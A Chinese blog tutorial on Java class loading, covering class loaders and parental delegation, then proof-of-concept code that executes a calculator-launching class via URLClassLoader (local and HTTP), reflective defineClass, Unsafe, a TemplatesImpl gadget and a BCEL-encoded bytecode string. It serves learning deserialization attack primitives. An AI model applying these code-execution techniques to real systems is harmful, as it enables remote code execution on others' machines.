Java安全-类的动态加载

Java安全-类的动态加载

类加载器及双亲委派

类加载器有什么用

  • 加载 Class 文件

以这段简单代码为例

1
Student student = new Student();

我们知道,Student 本身其实是一个抽象类,是通过 new 这个操作,将其实例化的,类加载器做的便是这个工作。

ClassLoader 的工作如图所示

加载器也分多种加载器,每个加载器负责不同的功能。

主要分为这四种加载器

  1. 虚拟机自带的加载器
  2. 启动类(根)加载器
  3. 扩展类加载器
  4. 应用程序加载器

几种加载器

引导类加载器

引导类加载器(BootstrapClassLoader),底层原生代码是 C++ 语言编写,属于 JVM 一部分。

不继承 java.lang.ClassLoader 类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar 目录当中。(同时处于安全考虑,BootstrapClassLoader 只加载包名为 javajavaxsun 等开头的类)。

扩展类加载器(ExtensionsClassLoader)

扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader 类实现,用来在 /jre/lib/ext 或者 java.ext.dirs 中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。

App类加载器(AppClassLoader)

App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader 实现,一般通过通过( java.class.path 或者 Classpath 环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader() 来获取它。

双亲委派机制

  • 在 Java 开发当中,双亲委派机制是从安全角度出发的。

从报错的角度感受双亲委派机制

新建一个 java.lang的文件夹,在其中新建 String.java 的文件。

String.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package java.lang;  

// 双亲委派的错误代码
public class String {

public String toString(){
return "hello";
}

public static void main(String[] args) {
String s = new String();
s.toString();
}
}

我们自己定义了一个 java.lang 的文件夹,并在文件夹中定义了 String.class,还定义了 String 这个类的 toString 方法。

  • 运行程序后发现会报错

我们定义了main方法,但是仍然会报错

为什么会报错呢

首先,我们要知道 Java 的类加载器是分很多层的,如图。

由于类加载器的双亲委派机制限制,类加载器在被调用时也就是在 new class 的时候,它是以这么一个顺序去找的 BOOT —> EXC —-> APP。如果 BOOT 当中没有,就去 EXC 里面找,如果 EXC 里面没有,就去 APP 里面找。

  • 我们之前报错的程序当中,定义的 java.lang.String 在 BOOT 当中是有的,所以我们自定义 String 时,会报错,如果要修改的话,是需要去 rt.jar 里面修改的,这里就不展开了。

从正确的角度感受双亲委派机制

前文提到我们新建的 java.lang.String 报错了,是因为我们定义的 String 和 BOOT 包下面的 String 冲突了,所以才会报错,我们这里定义一个 BOOT 和 EXC 都没有的对象试一试。

在其他的 文件夹下,新建 Student.java

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package src.DynamicClassLoader;  

// 双亲委派的正确代码
public class Student {

public String toString(){
return "Hello";
}

public static void main(String[] args) {
Student student = new Student();
//利用反射打印出加载器
System.out.println(student.getClass().getClassLoader());
System.out.println(student.toString());
}
}

可以看到此时调用的是App类加载器

各场景下代码块加载顺序

  • 这里的代码块主要指的是这四种
    • 静态代码块:static{}
    • 构造代码块:{}
    • 无参构造器:ClassName()
    • 有参构造器:ClassName(String name)

场景一、实例化对象

这里有两个文件,分别介绍一下用途:

  • Person.java:一个普普通通的类,里面有静态代码块、构造代码块、无参构造器、有参构造器、静态成员变量、普通成员变量、静态方法。
  • Main.java:启动类

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package src.DynamicClassLoader;  

// 存放代码块
public class Person {
public static int staticVar;
public int instanceVar;

static {
System.out.println("静态代码块");
}

{
System.out.println("构造代码块");
}

Person(){
System.out.println("无参构造器");
}
Person(int instanceVar){
System.out.println("有参构造器");
}

public static void staticAction(){
System.out.println("静态方法");
}
}

Main.java

1
2
3
4
5
6
7
8
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) {
Person person = new Person();
}
}
  • 结论:

通过 new 关键字实例化的对象,先调用静态代码块,然后调用构造代码块,最后根据实例化方式不同(对应参数列表不同),调用不同的构造器。

场景二、调用静态方法

直接调用类的静态方法

Person.java 不变,修改 Main.java 启动器即可。

Main.java

1
2
3
4
5
6
7
8
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) {
Person.staticAction();
}
}
  • 结论:

不实例化对象直接调用静态方法,会先调用类中的静态代码块,然后调用静态方法

场景三、对类中的静态成员变量赋值

Main.java

1
2
3
4
5
6
7
8
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) {
Person.staticVar = 1;
}
}
  • 结论:

在对静态成员变量赋值前,会调用静态代码块

场景四、使用 class 获取类

1
2
3
4
5
6
7
8
9
10
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) {
Class c = Person.class;
}
}

// 无输出
  • 结论:

利用 class 关键字获取类,并不会加载类,也就是什么也不会输出。

场景五、使用 forName 获取类

  • 这里要抛出异常一下。

我们写三种 forName 的方法调用。
修改 Main.java

1
2
3
4
5
6
7
8
9
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException{
Class.forName("src.DynamicClassLoader.Person");
}
}
// 静态代码块
1
2
3
4
5
6
7
8
9
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException{
Class.forName("src.DynamicClassLoader.Person", true, ClassLoader.getSystemClassLoader());
}
}
// 静态代码块
1
2
3
4
5
6
7
8
9
package src.DynamicClassLoader;  

// 代码块的启动器
public class Main {
public static void main(String[] args) throws ClassNotFoundException{
Class.forName("src.DynamicClassLoader.Person", false, ClassLoader.getSystemClassLoader());
}
}
//没有输出
  • 结论:

Class.forName(className)Class.forName(className, true, ClassLoader.getSystemClassLoader())等价,这两个方法都会调用类中的静态代码块,如果将第二个参数设置为false,那么就不会调用静态代码块

第二个参数是initialize,控制类的初始化。初始化类就会执行静态代码块

场景六、使用 ClassLoader.loadClass() 获取类

Main.java

1
2
3
4
5
6
7
8
package src.DynamicClassLoader;

public class Main {
public static void main(String[] args) throws ClassNotFoundException {
ClassLoader.getSystemClassLoader().loadClass("src.DynamicClassLoader.Person");
}
}
//没有输出
  • 结论:

ClassLoader.loadClass()方法只加载,不初始化,当然,如果后面再使用newInstance()进行初始化,那么会和场景一、实例化对象一样的顺序加载对应的代码块。

动态加载字节码

字节码的概念

什么是字节码?

严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中。

而字节码的诞生是为了让 JVM 的流通性更强,这是什么意思呢?看图便知。

字节码是中间层:屏蔽了不同语言和不同操作系统的差异。

JVM 是执行引擎:它只要能读懂字节码,就能跑在 Windows、Linux、Mac、甚至手机(Android)上。

因为这种模式,JVM 不仅能跑 Java,还能跑 Kotlin、Scala、Groovy 等一大堆语言 → JVM 变成了一个“多语言运行平台”

类加载器的原理

根据前面各场景下代码块的加载顺序我们得知,在 loadClass() 方法被调用的时候,是不进行类的初始化的。

代码:

1
2
ClassLoader c = ClassLoader.getSystemClassLoader();  
c.loadClass("BasiClassLoader.Person");

打一下断点,调试一下,断点打在 ClassLoader.loadClass() 的地方,也就是父类。为什么这么打断点是有原因的,因为最开始我们已知 “Person” 类它是 Launcher@APPClassLoader,它里面是有一个 loadClass() 方法的,但是它只有一个参数。所以断点下在 ClassLoader.loadClass() 之类

开始调试

调试先会走到 ClassLoader.loadClass(),这里其实 return 就多给了一个参数为 false;我们 ctrl + f7 跟进。又会回到 Launcher@APPClassLoader 这里。

而在 java.lang.ClassLoader 中,loadClass 方法的定义是这样的:

1
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException

resolve(布尔值,可选)
是否在加载后**立即解析(link/resolve)**类。

  • false:只加载类,但不解析。
  • true:加载后立刻解析。

这里return false,所以类不会初始化

继续跟进

这里 null 是因为最上面的 Bootstrap 类是 native 类,也就是之前说过的 C 写的源码,所以为 null。

继续往下走,因为 APP 和 Ext 的父类是 URLClassLoader,所以这里的 findClass() 是会去找到 URLClassLoader 的。

接着在 URLClassLoader 里面调用了 defineClass 方法,再一步步跟进就是我们的 native 方法(在 JVM 内部做的事情:字节码验证,生成 JVM 内部数据结构(Klass),链接(验证 + 准备 + 解析),存入方法区/元空间)

总的流程:
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()

下面我们介绍多种能够用于反序列化攻击的,加载字节码的类加载器。

利用 URLClassLoader 加载远程 class 文件

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。

正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。

我们一个个看

file 协议

我们在目录下新建一个 Calc.java 的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package src;  

import java.io.IOException;

// URLClassLoader 的 file 协议
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

这里利用终端进行编译

1
javac Calc.java

可以看到当前目录下生成Calc.class文件

接着,我们编写 URLClassLoader 的启动类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("file:///D:\\javaEE练习\\src\\src\\main\\java\\src")});
Class calc = urlClassLoader.loadClass("src.Calc");
calc.newInstance();
}
}

HTTP 协议

Calc.class 文件目录下执行 python3 -m http.server 9999,起一个 http 服务。

接着,我们编写恶意利用类

1
2
3
4
5
6
7
8
9
10
11
12
13
package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 HTTP 协议
public class HTTPRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
Class calc = urlClassLoader.loadClass("src.Calc");
calc.newInstance();
}
}

file+jar 协议

先将我们之前的 class 文件打包一下,打包为 jar 文件。

去到源 .class 文件下,别去复制的地方,运行命令

1
jar -cvf Calc.jar Clac.class

接着,我们修改启动器,调用恶意类

1
2
3
4
5
6
7
8
9
10
11
12
package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

public class JarRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
Class calc = urlClassLoader.loadClass("src.Calc");
calc.newInstance();
}
}

HTTP + jar 协议

1
2
3
4
5
6
7
8
9
10
11
12
package src.DynamicClassLoader.URLClassLoader;  

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 HTTP + jarpublic class HTTPJarRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
Class calc = urlClassLoader.loadClass("src.Calc");
calc.newInstance();
}
}

最灵活的肯定是 http 协议的加载

利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。

1
2
3
4
5
6
7
8
9
10
11
URLClassLoader.loadClass()

findClass()

URLClassPath -> 打开 URL(file/http/ftp)

读取字节码

ClassLoader.defineClass() (native)

得到 JVM 内部 Class 对象

从前面的分析可知:

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
  • findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass()
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
    所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java

默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中。

DefineClass

1
2
3
4
5
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。

因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass() 方法进行字节码的加载,然后实例化之后即可弹 shell

我们编写如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package src.DynamicClassLoader;

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

// 利用 ClassLoader#defineClass 直接加载字节码
public class DefineClassRce {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); // 字节码的数组
Class c = (Class) method.invoke(classLoader, "src.Calc", code, 0, code.length);
c.newInstance();
}
}

成功弹出计算器

使用ClassLoader#defineClass直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);,这在平常的反射中是无法调用的。

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

Unsafe 加载字节码

  • Unsafe中也存在defineClass()方法,本质上也是 defineClass 加载字节码的方式。

UnsafedefineClass() 方法

1
2
3
4
5
6
7
8
public native Class<?> defineClass(
String name, // 类的全限定名 (包名.类名),可以为 null
byte[] b, // 字节码数组(class 文件的二进制内容)
int off, // 从字节数组的哪个位置开始解析
int len, // 要解析的字节长度
ClassLoader loader, // 由哪个类加载器去加载
ProtectionDomain pd // 安全域(控制权限)
);

同时可以在Unsafe类中看到

1
2
3
4
5
6
private static final Unsafe theUnsafe;

theUnsafe = new Unsafe();

private Unsafe() {
}

可以判断Unsafe类是一个单例模式,我们利用反射调用defineClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package src.DynamicClassLoader.UnsafeClassLoader;  // 包路径:动态类加载器/非安全类加载器

import sun.misc.Unsafe; // 导入Sun内部API(非标准)

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class UnsafeClassLoaderRce {
public static void main(String[] args) throws Exception {
// 1. 获取系统类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();

// 2. 获取Unsafe类的Class对象
Class<Unsafe> unsafeClass = Unsafe.class;

// 3. 通过反射获取Unsafe类的私有字段"theUnsafe"
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");

// 4. 解除私有字段的访问限制
unsafeField.setAccessible(true);

// 5. 获取Unsafe单例实例(静态字段,所以传null)
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);

// 6. 获取defineClass方法(Unsafe的关键方法)
Method defineClassMethod = unsafeClass.getMethod("defineClass",
String.class, // 类名
byte[].class, // 类字节码
int.class, // 偏移量
int.class, // 长度
ClassLoader.class, // 类加载器
ProtectionDomain.class // 保护域
);

// 7. 从文件系统读取恶意类的字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));

// 8. 使用Unsafe强行定义类(绕过所有安全检查)
Class calc = (Class) defineClassMethod.invoke(classUnsafe,
"src.Calc", // 类名
code, // 字节码
0, // 偏移量
code.length, // 长度
classLoader, // 类加载器
null // 保护域(无限制)
);

// 9. 创建实例并执行(实现RCE-远程代码执行)
calc.newInstance();
}
}

成功弹出计算器

TemplatesImpl 加载字节码

  • 我们先跟进 TemplatesImpl 这个包中看 TemplatesImpl 的结构图

可以看到在 TemplatesImpl 类中还有一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法。

  • 简单来说,这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

我们从 TransletClassLoader#defineClass() 向前追溯一下调用链:

我这里是通过全局搜索关键字寻找方法调用关系

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

追到最前面两个方法 TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。

我们尝试用 TemplatesImpl#newTransformer() 构造一个简单的 POC

首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package src.DynamicClassLoader.TemplatesImplClassLoader;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("Calc");
}
}

生成class文件

1
javac -source 8 -target 8 TemplatesBytes.java

编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package src.DynamicClassLoader.TemplatesImplClassLoader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// 主程序
public class TemplatesRce {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

setFieldValue方法传入的参数与链子间方法调用的条件有关

  1. getTransletInstance()需要_name不为空

  1. _ bytecodes要包含有效的类字节码文件内容,_tfactory必须设置有效的工厂实例

成功弹出计算器

利用 BCEL ClassLoader 加载字节码

  • 什么是 BCEL?

BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

我们可以通过 BCEL 提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:

我们还是用之前写过的 Calc.java 这个类。

编写POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package src.DynamicClassLoader.BCEL;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

// 利用 BCEL ClassLoader 加载字节码
public class BCELClassLoaderRce {
public static void main(String[] args) throws Exception {
Class calc = Class.forName("src.Calc");
JavaClass javaClass = Repository.lookupClass(calc);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
}
}

成功弹出计算器

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC

  • 注意这里的 ClassLoader 包不要导错了。
1
2
3
4
5
6
7
8
9
10
package src.DynamicClassLoader.BCEL;  

import com.sun.org.apache.bcel.internal.util.ClassLoader;

// 修改过滤乱码
public class BCELSuccessRce {
public static void main(String[] args) throws Exception{
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1c$i$C$81$f0$d1$PhK$81$QU$f5$a57$Q$97$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p$7b$83$e0$X$f5$cc$85$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK$9e$f1$7b3$f3$e6$ad$f7$ee$fe$f6$X$80OX$f1$e1a$d6$c7$i$e6$3d$bc0$f9$a5$8bW$3eJx$edb$c1$c5$oCyC$rJo2$U$9bk$c7$MN$3b$3d$91$M$b5H$rro$d8$ef$ca$ec$90wcb$eaQ$wx$7c$cc3e$f0$T$e9$e8S$953$7c$88$f2L$84$5b$97$J$ef$x$d1$8ey$9eG$v$3f$91Yxt$Q$8d$c26$8f$c5$3a$83$b7$n$e2$a7$a5$8cD$g$d1$Z$3f$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M$7e$t$jfB$ee$u$b3$bcb$e4$3e$9a$d9$A$V$f8$$$de$Ex$8bw$e4$8a$8c$8a$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo$9aa$c2$ea$c4$3c$e9$85$fb$dd3$v4$c3$e4$l$ea$60$98h$d5$tO$7eO$eag$d0h$aeE$7f$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d1$81$afY$wd$9e$d3$40m$40Em$7f$c7a$c6$85$a4c$bat$b1$e6$v$80$99$c3S$i$p$URf$94K$ad$9f$60W$b6$iP$y$5b$b2$8c$w$c5$e0$b1$B$e3$a8Q$f60$f1$3c$cc$ad$YP$bfA$a1$5e$bc$86$f3$ed$H$bc$_$adk$94$af$y_$a1$d9$S$8aVq$86$be$Mc$b8$80$U$aa$a40I$f1$f7$86$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a9$99$H$X$f0$df$84$a2$C$A$A").newInstance();
}
}

那么为什么要在前面加上 $$BCEL$$ 呢?这里引用一下p神的解释

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode

运行这段代码会直接弹出计算器

那么我们可以判断这段乱码应该就是Calc类BCEL格式的字节码

总结

我们知道加载class文件的其中一段流程

1
2
3
4
5
6
7
8
9
10
11
URLClassLoader.loadClass()

findClass()

URLClassPath -> 打开 URL(file/http/ftp)

读取字节码

ClassLoader.defineClass() (native)

得到 JVM 内部 Class 对象

那么想要加载字节码,从流程中可以找到两个入口点

  1. findClass()

    利用 URLClassLoader 加载远程 class 文件就是利用此函数加载远程文件

  2. defineClass()

    利用不同类中的此方法加载字节码

另外一种比较特殊的其实是从loadClass()入手,转换字节码格式加载字节码,与前两种的出发点不同

参考

本文内容基本全部出自Java反序列化基础篇-05-类的动态加载 | Drunkbaby’s Blog


Java安全-类的动态加载
http://huang-d1.github.io/2025/08/27/Java安全-类的动态加载/
作者
huangdi
发布于
2025年8月27日
许可协议